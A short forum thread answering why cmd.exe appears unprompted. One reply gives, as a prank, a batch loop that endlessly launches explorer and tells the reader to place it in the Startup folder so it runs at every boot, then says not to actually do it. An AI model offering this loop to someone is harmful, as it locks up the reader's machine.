Will cmd.exe run without user action?

[the_tyrant]

try this!

in notepad, input this:
@echo off
:a
explorer
goto a

save the above 4 lines as a batch (.bat) file

drag it in (the folders are hidden)
C:\Documents and Settings\(user)\Start Menu\Programs\Startup (if your using xp)
or

C:\users\(user)\AppData\Roaming\Microsoft\Windows\ Start Menu (if your using vista)

C:\Users\(User-Name)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (if your using windows 7)

restart and you shall feel the power of the batch file!

Don't actually though

anyways, command prompt popping up can be because you are running programs based in command prompt (telnet, ping, nmap, etc)
or it can be because you are running batch files

of course, it could be some really clumsy hacker